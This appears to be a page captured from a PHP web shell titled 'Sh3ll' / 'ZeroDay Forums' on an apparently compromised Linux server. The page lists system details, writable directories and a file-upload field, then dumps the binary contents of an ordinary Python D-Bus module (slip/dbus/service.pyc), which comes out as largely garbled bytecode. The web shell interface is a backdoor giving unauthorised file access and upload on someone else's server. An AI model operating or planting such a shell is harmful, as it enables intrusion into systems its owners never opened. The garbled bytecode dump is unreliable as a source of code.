Sh3ll
OdayForums


Server : Apache
System : Linux server1.cgrithy.com 3.10.0-1160.95.1.el7.x86_64 #1 SMP Mon Jul 24 13:59:37 UTC 2023 x86_64
User : nobody ( 99)
PHP Version : 8.1.23
Disable Function : NONE
Directory :  /usr/lib/python2.7/site-packages/slip/dbus/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/lib/python2.7/site-packages/slip/dbus/service.pyc
�
��9Qc@s�dZddlZddlZddlmZddlZdddgZda	d�Z
e
ad�Zd	�Z
d
�Zdadad�Zdejjfd��YZdejjfd��YZdS(sMThis module contains convenience functions for using dbus-activated services.i����N(t_gobjecttObjectt
InterfaceTypetset_mainloopcCstj�dS(N(t__mainloop__tquit(((s5/usr/lib/python2.7/site-packages/slip/dbus/service.pyt__glib_quit_cb__%scCs
|adS(N(R(tmainloop((s5/usr/lib/python2.7/site-packages/slip/dbus/service.pyR0scCs
|adS(N(t__quit_cb__(tquit_cb((s5/usr/lib/python2.7/site-packages/slip/dbus/service.pytset_quit_cb5scCst�dS(N(R(((s5/usr/lib/python2.7/site-packages/slip/dbus/service.pyR	:st__slip_dbus_service_sender__t__slip_dbus_service_reply_cb__t__slip_dbus_service_error_cb__cs��jdk	r!�j�t�nt�t��jdk	rN�j�t�nt�t���������fd�}xitd�t���D]O}|dkr��|_q�|dkr��|_q�t	||t
�|��q�W�j|_|S(Nc	s�j��}|dk	rv��d���d��rG��=n�rf��d=��d=n�j|�nt�	dt�dd���|dk	r��r�����	�
���fd�}��fd�}tj|�d|d|�n �	����}�j�|SdS(	Niit_slip_polkit_auth_requiredtdefault_polkit_auth_requiredcs�|r��r�����q�d}y�����}Wntk
rV}|}nX|rj�|�q�|dkr���q��|�n�tj����j�dS(N(tNonet	ExceptiontpolkittNotAuthorizedExceptionttimeout_restart(tis_authterrortresultte(t	action_idterror_cbtktmethodtmethod_is_asynctptreply_cbtself(s5/usr/lib/python2.7/site-packages/slip/dbus/service.pyt
reply_handlerms



cs�|��j�dS(N(R(R(RR (s5/usr/lib/python2.7/site-packages/slip/dbus/service.pyt
error_handler�s
R!R"(tgetRtsender_seentgetattrRtIsSystemBusNameAuthorizedAsyncR(R RRtsenderR!R"tretval(tasync_callbacksthide_async_callbacksthide_sender_keywordRRtsender_keyword(RRRRRR s5/usr/lib/python2.7/site-packages/slip/dbus/service.pytwrapped_methodWs*
		$"
cSs|d dkS(Nit_dbus_((tx((s5/usr/lib/python2.7/site-packages/slip/dbus/service.pyt<lambda>�st_dbus_sender_keywordt_dbus_async_callbacks(R1RtFalsetSENDER_KEYWORDtTrueR2tASYNC_CALLBACKStfiltertdirtsetattrR%t	func_name(RR-tattr((R)R*R+RRR,s5/usr/lib/python2.7/site-packages/slip/dbus/service.pytwrap_methodDs(				DcBseZd�ZRS(cCsax?|j�D]1\}}t|dt�r
t|�||<q
q
Wtt|�j||||�S(Nt_dbus_is_method(t	iteritemsR%R3R<tsuperRt__new__(tclstnametbasestdcttattrnameR;((s5/usr/lib/python2.7/site-packages/slip/dbus/service.pyR@�s(t__name__t
__module__R@(((s5/usr/lib/python2.7/site-packages/slip/dbus/service.pyR�scBs}eZeZeZdZeZdZ	e
�ZiZiZ
dZddddd�Zd�Zd�Zdd�Zd�ZRS(icCsGtt|�j|||�|dkr:|jj|_n	||_dS(N(R?Rt__init__Rt	__class__t
persistent(R tconntobject_pathtbus_nameRJ((s5/usr/lib/python2.7/site-packages/slip/dbus/service.pyRH�scCsC|jr*ttj�dkr*t�tSdt_|jt_	tS(Ni(
RJtlenRtsendersR	R3Rtcurrent_sourcetdefault_durationtduration(R ((s5/usr/lib/python2.7/site-packages/slip/dbus/service.pyt_timeout_cb�s	cCs�|j}|r�||ftjkr�tjj||f�tj|j|�ttj|�dkr�tj|j�tj|=tj|=n|jr�ttj�dkr�tjdkr�t
�q�ndS(Ni(t
connectionRROtremovetconnections_sendersRNtconnections_smobjsRJRPRR	(R RBt	old_ownert	new_ownerRK((s5/usr/lib/python2.7/site-packages/slip/dbus/service.pyt_name_owner_changed�s	

cCs�|s|jj}ntjs.|tjkr:|t_n|jsYttj�dkr�tjrutj	tj�ntj
tjd|j�t_ndS(Nii�(RIRQRRRRJRNRORPtGObjectt
source_removettimeout_addRS(R RR((s5/usr/lib/python2.7/site-packages/slip/dbus/service.pyR�s	cCs�||jftjkr�tjj||jf�|jtjj�kr�t�tj|j<|jjd|jdddd�tj	|j<ntj|jj|�ndS(Nthandler_functiontsignal_nametNameOwnerChangedtdbus_interfacesorg.freedesktop.DBus(
RTRROtaddRVtkeystsettadd_signal_receiverRZRW(R R'((s5/usr/lib/python2.7/site-packages/slip/dbus/service.pyR$�s	N(RFRGRt
__metaclass__R3RJRQRRRRPRdRORVRWRRHRSRZRR$(((s5/usr/lib/python2.7/site-packages/slip/dbus/service.pyR�s			
	(RR
(t__doc__tdbustdbus.servicetslip._wrappersRR[Rt__all__RRRRRR
R	R4R6R<tserviceRR(((s5/usr/lib/python2.7/site-packages/slip/dbus/service.pyt<module>s"					f

ZeroDay Forums Mini